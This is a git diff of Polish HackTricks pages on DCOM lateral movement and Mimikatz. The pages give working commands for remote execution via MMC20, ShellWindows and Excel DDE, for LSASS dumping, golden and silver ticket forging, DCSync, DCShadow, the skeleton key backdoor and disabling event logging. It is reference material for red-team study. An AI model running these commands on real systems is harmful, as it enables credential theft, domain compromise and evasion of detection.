* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# DCOM Exec
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hackowania AWS od podstaw do mistrza z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz, aby Twoja **firma była reklamowana w HackTricks**? A może chcesz mieć dostęp do **najświeższej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hackingowymi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)..
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -24,7 +27,7 @@
|
|||
|
||||
**Aby uzyskać więcej informacji na temat tej techniki, sprawdź oryginalny post z [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
|
||||
Obiekty Distributed Component Object Model (DCOM) oferują interesującą możliwość interakcji z obiektami w sieci. Microsoft dostarcza szczegółową dokumentację zarówno dla DCOM, jak i Component Object Model (COM), dostępną [tutaj dla DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) oraz [tutaj dla COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Lista aplikacji DCOM może być pobrana za pomocą polecenia PowerShell:
|
||||
Distributed Component Object Model (DCOM) obiekty oferują interesującą możliwość interakcji w sieci z obiektami. Microsoft zapewnia szczegółową dokumentację zarówno dla DCOM, jak i Component Object Model (COM), dostępną [tutaj dla DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) oraz [tutaj dla COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Lista aplikacji DCOM może być pobrana za pomocą polecenia PowerShell:
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
|
@ -59,7 +62,7 @@ Obiekt **MMC20.Application** został zidentyfikowany jako brakujący w wyraźnyc
|
|||
Dwa konkretne obiekty, `ShellBrowserWindow` i `ShellWindows`, zostały wyróżnione z powodu braku wyraźnych uprawnień uruchomienia. Brak wpisu rejestru `LaunchPermission` pod `HKCR:\AppID\{guid}` oznacza brak wyraźnych uprawnień.
|
||||
|
||||
### ShellWindows
|
||||
Dla `ShellWindows`, który nie ma ProgID, metody .NET `Type.GetTypeFromCLSID` i `Activator.CreateInstance` ułatwiają instancjonowanie obiektu przy użyciu jego AppID. Proces ten wykorzystuje OleView .NET do pobrania CLSID dla `ShellWindows`. Po zainstancjonowaniu możliwa jest interakcja za pomocą metody `WindowsShell.Item`, co prowadzi do wywołania metod, takich jak `Document.Application.ShellExecute`.
|
||||
Dla `ShellWindows`, który nie ma ProgID, metody .NET `Type.GetTypeFromCLSID` i `Activator.CreateInstance` ułatwiają instancjonowanie obiektu przy użyciu jego AppID. Proces ten wykorzystuje OleView .NET do pobrania CLSID dla `ShellWindows`. Po instancjonowaniu możliwa jest interakcja za pomocą metody `WindowsShell.Item`, co prowadzi do wywołania metod, takich jak `Document.Application.ShellExecute`.
|
||||
|
||||
Podano przykładowe polecenia PowerShell do instancjonowania obiektu i zdalnego wykonywania poleceń:
|
||||
```powershell
|
||||
|
@ -99,7 +102,7 @@ $Obj.DDEInitiate("cmd", "/c $Command")
|
|||
|
||||
Dwa narzędzia są wyróżnione do automatyzacji tych technik:
|
||||
|
||||
- **Invoke-DCOM.ps1**: Skrypt PowerShell dostarczony przez projekt Empire, który upraszcza wywoływanie różnych metod wykonywania kodu na zdalnych maszynach. Ten skrypt jest dostępny w repozytorium Empire na GitHubie.
|
||||
- **Invoke-DCOM.ps1**: Skrypt PowerShell dostarczony przez projekt Empire, który upraszcza wywoływanie różnych metod do wykonywania kodu na zdalnych maszynach. Ten skrypt jest dostępny w repozytorium Empire na GitHubie.
|
||||
|
||||
- **SharpLateral**: Narzędzie zaprojektowane do zdalnego wykonywania kodu, które można używać z poleceniem:
|
||||
```bash
|
||||
|
@ -129,7 +132,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,39 +1,42 @@
|
|||
# Mimikatz
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Ta strona oparta jest na jednej z [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Sprawdź oryginał, aby uzyskać więcej informacji!
|
||||
**Ta strona opiera się na jednej z [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Sprawdź oryginał, aby uzyskać więcej informacji!
|
||||
|
||||
## LM i tekst w pamięci
|
||||
## LM i hasła w postaci czystego tekstu w pamięci
|
||||
|
||||
Od systemu Windows 8.1 i Windows Server 2012 R2 wprowadzono znaczące środki mające na celu ochronę przed kradzieżą poświadczeń:
|
||||
Od Windows 8.1 i Windows Server 2012 R2 wprowadzono znaczące środki w celu ochrony przed kradzieżą poświadczeń:
|
||||
|
||||
- **Hashe LM i hasła w postaci tekstu jawnego** nie są już przechowywane w pamięci w celu zwiększenia bezpieczeństwa. Konkretny klucz rejestru, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_, musi być skonfigurowany z wartością DWORD `0`, aby wyłączyć uwierzytelnianie Digest i zapewnić, że hasła "tekstu jawnego" nie są buforowane w LSASS.
|
||||
- **Hasła LM i hasła w postaci czystego tekstu** nie są już przechowywane w pamięci, aby zwiększyć bezpieczeństwo. Należy skonfigurować określony klucz rejestru, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_, z wartością DWORD `0`, aby wyłączyć uwierzytelnianie Digest, zapewniając, że hasła w "czystym tekście" nie są buforowane w LSASS.
|
||||
|
||||
- Wprowadzono **ochronę LSA**, która chroni proces Local Security Authority (LSA) przed nieautoryzowanym odczytem pamięci i wstrzykiwaniem kodu. Jest to osiągane poprzez oznaczenie LSASS jako chronionego procesu. Aktywacja ochrony LSA obejmuje:
|
||||
1. Modyfikację rejestru w lokalizacji _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ poprzez ustawienie `RunAsPPL` na `dword:00000001`.
|
||||
2. Wdrożenie obiektu zasad grupy (GPO), który narzuca tę zmianę rejestru na zarządzanych urządzeniach.
|
||||
- **Ochrona LSA** została wprowadzona, aby chronić proces Local Security Authority (LSA) przed nieautoryzowanym odczytem pamięci i wstrzykiwaniem kodu. Osiąga się to poprzez oznaczenie LSASS jako chronionego procesu. Aktywacja Ochrony LSA obejmuje:
|
||||
1. Modyfikację rejestru w _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_, ustawiając `RunAsPPL` na `dword:00000001`.
|
||||
2. Wdrożenie obiektu zasad grupy (GPO), który wymusza tę zmianę rejestru na zarządzanych urządzeniach.
|
||||
|
||||
Mimo tych zabezpieczeń narzędzia takie jak Mimikatz mogą obejść ochronę LSA, korzystając z określonych sterowników, chociaż takie działania prawdopodobnie zostaną zarejestrowane w dziennikach zdarzeń.
|
||||
Pomimo tych zabezpieczeń, narzędzia takie jak Mimikatz mogą omijać Ochronę LSA, używając określonych sterowników, chociaż takie działania prawdopodobnie zostaną zarejestrowane w dziennikach zdarzeń.
|
||||
|
||||
### Przeciwdziałanie usunięciu uprawnienia SeDebugPrivilege
|
||||
### Przeciwdziałanie usunięciu SeDebugPrivilege
|
||||
|
||||
Administratorzy zwykle mają uprawnienie SeDebugPrivilege, które umożliwia im debugowanie programów. To uprawnienie można ograniczyć, aby zapobiec nieautoryzowanym zrzutom pamięci, powszechnej technice wykorzystywanej przez atakujących do wydobycia poświadczeń z pamięci. Jednak nawet po usunięciu tego uprawnienia, konto TrustedInstaller wciąż może wykonywać zrzuty pamięci, korzystając z dostosowanej konfiguracji usługi:
|
||||
Administratorzy zazwyczaj mają SeDebugPrivilege, co umożliwia im debugowanie programów. To uprawnienie można ograniczyć, aby zapobiec nieautoryzowanym zrzutom pamięci, co jest powszechną techniką stosowaną przez atakujących do wydobywania poświadczeń z pamięci. Jednak nawet po usunięciu tego uprawnienia, konto TrustedInstaller nadal może wykonywać zrzuty pamięci, używając dostosowanej konfiguracji usługi:
|
||||
```bash
|
||||
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
|
||||
sc start TrustedInstaller
|
||||
```
|
||||
To pozwala na zrzut pamięci `lsass.exe` do pliku, który można następnie analizować na innym systemie w celu wydobycia poświadczeń:
|
||||
To pozwala na zrzut pamięci `lsass.exe` do pliku, który następnie można przeanalizować na innym systemie w celu wyodrębnienia poświadczeń:
|
||||
```
|
||||
# privilege::debug
|
||||
# sekurlsa::minidump lsass.dmp
|
||||
|
@ -41,63 +44,63 @@ To pozwala na zrzut pamięci `lsass.exe` do pliku, który można następnie anal
|
|||
```
|
||||
## Opcje Mimikatz
|
||||
|
||||
Modyfikacja dziennika zdarzeń w Mimikatz polega na dwóch podstawowych działaniach: usuwaniu dzienników zdarzeń i łataniu usługi Zdarzenia w celu zapobiegania rejestrowaniu nowych zdarzeń. Poniżej znajdują się polecenia do wykonania tych działań:
|
||||
Manipulacja dziennikami zdarzeń w Mimikatz obejmuje dwa główne działania: czyszczenie dzienników zdarzeń i łatanie usługi zdarzeń, aby zapobiec rejestrowaniu nowych zdarzeń. Poniżej znajdują się polecenia do wykonania tych działań:
|
||||
|
||||
#### Usuwanie dzienników zdarzeń
|
||||
#### Czyszczenie dzienników zdarzeń
|
||||
|
||||
- **Polecenie**: To działanie ma na celu usunięcie dzienników zdarzeń, utrudniając śledzenie podejrzanych działań.
|
||||
- Mimikatz nie dostarcza bezpośredniego polecenia w swojej standardowej dokumentacji do bezpośredniego usuwania dzienników zdarzeń za pomocą wiersza poleceń. Jednak manipulacja dziennikiem zdarzeń zazwyczaj polega na użyciu narzędzi systemowych lub skryptów spoza Mimikatz do czyszczenia konkretnych dzienników (np. za pomocą PowerShell lub Windows Event Viewer).
|
||||
- **Polecenie**: To działanie ma na celu usunięcie dzienników zdarzeń, co utrudnia śledzenie złośliwych działań.
|
||||
- Mimikatz nie zapewnia bezpośredniego polecenia w swojej standardowej dokumentacji do czyszczenia dzienników zdarzeń bezpośrednio za pomocą wiersza poleceń. Jednak manipulacja dziennikami zdarzeń zazwyczaj obejmuje użycie narzędzi systemowych lub skryptów poza Mimikatz do czyszczenia konkretnych dzienników (np. używając PowerShell lub Podglądu zdarzeń systemu Windows).
|
||||
|
||||
#### Eksperymentalna funkcja: Łatanie usługi Zdarzenia
|
||||
#### Funkcja eksperymentalna: Łatanie usługi zdarzeń
|
||||
|
||||
- **Polecenie**: `event::drop`
|
||||
- To eksperymentalne polecenie ma na celu zmodyfikowanie zachowania usługi Rejestrowanie zdarzeń, uniemożliwiając jej rejestrowanie nowych zdarzeń.
|
||||
- To eksperymentalne polecenie ma na celu modyfikację zachowania usługi rejestrowania zdarzeń, skutecznie zapobiegając rejestrowaniu nowych zdarzeń.
|
||||
- Przykład: `mimikatz "privilege::debug" "event::drop" exit`
|
||||
|
||||
- Polecenie `privilege::debug` zapewnia, że Mimikatz działa z niezbędnymi uprawnieniami do modyfikowania usług systemowych.
|
||||
- Polecenie `event::drop` łata usługę Rejestrowanie zdarzeń.
|
||||
- Polecenie `privilege::debug` zapewnia, że Mimikatz działa z niezbędnymi uprawnieniami do modyfikacji usług systemowych.
|
||||
- Polecenie `event::drop` następnie łata usługę rejestrowania zdarzeń.
|
||||
|
||||
|
||||
### Ataki na bilety Kerberos
|
||||
|
||||
### Tworzenie Złotego Biletu
|
||||
|
||||
Złoty Bilet umożliwia podszywanie się pod użytkownika na poziomie domeny. Kluczowe polecenie i parametry:
|
||||
Złoty Bilet umożliwia impersonację z dostępem w całej domenie. Kluczowe polecenie i parametry:
|
||||
|
||||
- Polecenie: `kerberos::golden`
|
||||
- Parametry:
|
||||
- `/domain`: Nazwa domeny.
|
||||
- `/sid`: Identyfikator zabezpieczeń (SID) domeny.
|
||||
- `/user`: Nazwa użytkownika, którego podszywanie się ma być wykonane.
|
||||
- `/krbtgt`: Skrót NTLM konta usługi KDC domeny.
|
||||
- `/ptt`: Bezpośrednie wstrzyknięcie biletu do pamięci.
|
||||
- `/ticket`: Zapisanie biletu do późniejszego użycia.
|
||||
- `/user`: Nazwa użytkownika do impersonacji.
|
||||
- `/krbtgt`: Hash NTLM konta usługi KDC domeny.
|
||||
- `/ptt`: Bezpośrednio wstrzykuje bilet do pamięci.
|
||||
- `/ticket`: Zapisuje bilet do późniejszego użycia.
|
||||
|
||||
Przykład:
|
||||
```bash
|
||||
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
|
||||
```
|
||||
### Tworzenie biletu Silver
|
||||
### Tworzenie Srebrnego Biletu
|
||||
|
||||
Bilety Silver umożliwiają dostęp do określonych usług. Kluczowe polecenie i parametry:
|
||||
Srebrne Bilety dają dostęp do konkretnych usług. Kluczowe polecenie i parametry:
|
||||
|
||||
- Polecenie: Podobne do Golden Ticket, ale skierowane na konkretne usługi.
|
||||
- Polecenie: Podobne do Złotego Biletu, ale celuje w konkretne usługi.
|
||||
- Parametry:
|
||||
- `/service`: Usługa, którą chcemy zaatakować (np. cifs, http).
|
||||
- Inne parametry podobne do Golden Ticket.
|
||||
- `/service`: Usługa, którą należy zaatakować (np. cifs, http).
|
||||
- Inne parametry podobne do Złotego Biletu.
|
||||
|
||||
Przykład:
|
||||
```bash
|
||||
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
|
||||
```
|
||||
### Tworzenie zaufanego biletu
|
||||
### Tworzenie Zaufanego Biletu
|
||||
|
||||
Zaufane bilety są używane do uzyskiwania dostępu do zasobów między domenami poprzez wykorzystanie relacji zaufania. Kluczowe polecenie i parametry:
|
||||
Zaufane Bilety są używane do uzyskiwania dostępu do zasobów w różnych domenach, wykorzystując relacje zaufania. Kluczowe polecenie i parametry:
|
||||
|
||||
- Polecenie: Podobne do Złotego Biletu, ale dla relacji zaufania.
|
||||
- Parametry:
|
||||
- `/target`: Pełna nazwa domeny docelowej.
|
||||
- `/rc4`: Skrót NTLM dla konta zaufania.
|
||||
- `/target`: FQDN docelowej domeny.
|
||||
- `/rc4`: Hash NTLM dla konta zaufania.
|
||||
|
||||
Przykład:
|
||||
```bash
|
||||
|
@ -107,104 +110,107 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
|
|||
|
||||
- **Wyświetlanie biletów**:
|
||||
- Polecenie: `kerberos::list`
|
||||
- Wyświetla wszystkie biletu Kerberos dla bieżącej sesji użytkownika.
|
||||
- Wyświetla wszystkie bilety Kerberos dla bieżącej sesji użytkownika.
|
||||
|
||||
- **Przekazanie pamięci podręcznej**:
|
||||
- **Przekaż pamięć podręczną**:
|
||||
- Polecenie: `kerberos::ptc`
|
||||
- Wstrzykuje biletu Kerberos z plików pamięci podręcznej.
|
||||
- Wstrzykuje bilety Kerberos z plików pamięci podręcznej.
|
||||
- Przykład: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
|
||||
|
||||
- **Przekazanie biletu**:
|
||||
- **Przekaż bilet**:
|
||||
- Polecenie: `kerberos::ptt`
|
||||
- Umożliwia użycie biletu Kerberos w innej sesji.
|
||||
- Przykład: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
|
||||
|
||||
- **Czyszczenie biletów**:
|
||||
- **Wyczyść bilety**:
|
||||
- Polecenie: `kerberos::purge`
|
||||
- Usuwa wszystkie biletu Kerberos z sesji.
|
||||
- Czyści wszystkie bilety Kerberos z sesji.
|
||||
- Przydatne przed użyciem poleceń manipulacji biletami, aby uniknąć konfliktów.
|
||||
|
||||
|
||||
### Modyfikowanie Active Directory
|
||||
### Manipulacja Active Directory
|
||||
|
||||
- **DCShadow**: Tymczasowo sprawia, że maszyna działa jako DC do manipulacji obiektami AD.
|
||||
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
|
||||
|
||||
- **DCSync**: Udaje DC, aby żądać danych hasła.
|
||||
- **DCSync**: Naśladuje DC, aby żądać danych o hasłach.
|
||||
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
|
||||
|
||||
### Uzyskiwanie dostępu do poświadczeń
|
||||
### Dostęp do poświadczeń
|
||||
|
||||
- **LSADUMP::LSA**: Wyodrębnia poświadczenia z LSA.
|
||||
- **LSADUMP::LSA**: Ekstrahuje poświadczenia z LSA.
|
||||
- `mimikatz "lsadump::lsa /inject" exit`
|
||||
|
||||
- **LSADUMP::NetSync**: Udaje DC, używając danych hasła konta komputera.
|
||||
- **LSADUMP::NetSync**: Podszywa się pod DC, używając danych o haśle konta komputerowego.
|
||||
- *Brak konkretnego polecenia dla NetSync w oryginalnym kontekście.*
|
||||
|
||||
- **LSADUMP::SAM**: Dostęp do lokalnej bazy danych SAM.
|
||||
- **LSADUMP::SAM**: Uzyskuje dostęp do lokalnej bazy danych SAM.
|
||||
- `mimikatz "lsadump::sam" exit`
|
||||
|
||||
- **LSADUMP::Secrets**: Odszyfrowuje tajemnice przechowywane w rejestrze.
|
||||
- **LSADUMP::Secrets**: Deszyfruje sekrety przechowywane w rejestrze.
|
||||
- `mimikatz "lsadump::secrets" exit`
|
||||
|
||||
- **LSADUMP::SetNTLM**: Ustawia nowy skrót NTLM dla użytkownika.
|
||||
- **LSADUMP::SetNTLM**: Ustawia nowe hasło NTLM dla użytkownika.
|
||||
- `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
|
||||
|
||||
- **LSADUMP::Trust**: Pobiera informacje uwierzytelniania zaufania.
|
||||
- **LSADUMP::Trust**: Pobiera informacje o uwierzytelnianiu zaufania.
|
||||
- `mimikatz "lsadump::trust" exit`
|
||||
|
||||
### Różne
|
||||
|
||||
- **MISC::Skeleton**: Wstrzykuje backdoor do LSASS na DC.
|
||||
- **MISC::Skeleton**: Wstrzykuje tylne wejście do LSASS na DC.
|
||||
- `mimikatz "privilege::debug" "misc::skeleton" exit`
|
||||
|
||||
### Eskalacja uprawnień
|
||||
|
||||
- **PRIVILEGE::Backup**: Uzyskuje uprawnienia do tworzenia kopii zapasowych.
|
||||
- **PRIVILEGE::Backup**: Uzyskuje prawa do tworzenia kopii zapasowych.
|
||||
- `mimikatz "privilege::backup" exit`
|
||||
|
||||
- **PRIVILEGE::Debug**: Uzyskuje uprawnienia debugowania.
|
||||
- `mimikatz "privilege::debug" exit`
|
||||
|
||||
### Wydobywanie poświadczeń
|
||||
### Zrzut poświadczeń
|
||||
|
||||
- **SEKURLSA::LogonPasswords**: Wyświetla poświadczenia dla zalogowanych użytkowników.
|
||||
- `mimikatz "sekurlsa::logonpasswords" exit`
|
||||
|
||||
- **SEKURLSA::Tickets**: Wyodrębnia biletu Kerberos z pamięci.
|
||||
- **SEKURLSA::Tickets**: Ekstrahuje bilety Kerberos z pamięci.
|
||||
- `mimikatz "sekurlsa::tickets /export" exit`
|
||||
|
||||
### Manipulacja SID i tokenem
|
||||
### Manipulacja SID i tokenami
|
||||
|
||||
- **SID::add/modify**: Zmienia SID i SIDHistory.
|
||||
- Dodaj: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
|
||||
- Modyfikuj: *Brak konkretnego polecenia dla modyfikacji w oryginalnym kontekście.*
|
||||
- Zmodyfikuj: *Brak konkretnego polecenia dla modyfikacji w oryginalnym kontekście.*
|
||||
|
||||
- **TOKEN::Elevate**: Udaje tokeny.
|
||||
- **TOKEN::Elevate**: Podszywa się pod tokeny.
|
||||
- `mimikatz "token::elevate /domainadmin" exit`
|
||||
|
||||
### Usługi terminalowe
|
||||
|
||||
- **TS::MultiRDP**: Pozwala na wielokrotne sesje RDP.
|
||||
- **TS::MultiRDP**: Umożliwia wiele sesji RDP.
|
||||
- `mimikatz "ts::multirdp" exit`
|
||||
|
||||
- **TS::Sessions**: Wyświetla sesje TS/RDP.
|
||||
- *Brak konkretnego polecenia dla TS::Sessions w oryginalnym kontekście.*
|
||||
|
||||
### Schowek
|
||||
### Skarbiec
|
||||
|
||||
- Wyodrębnia hasła z Schowka systemowego Windows.
|
||||
- Ekstrahuje hasła z Windows Vault.
|
||||
- `mimikatz "vault::cred /patch" exit`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue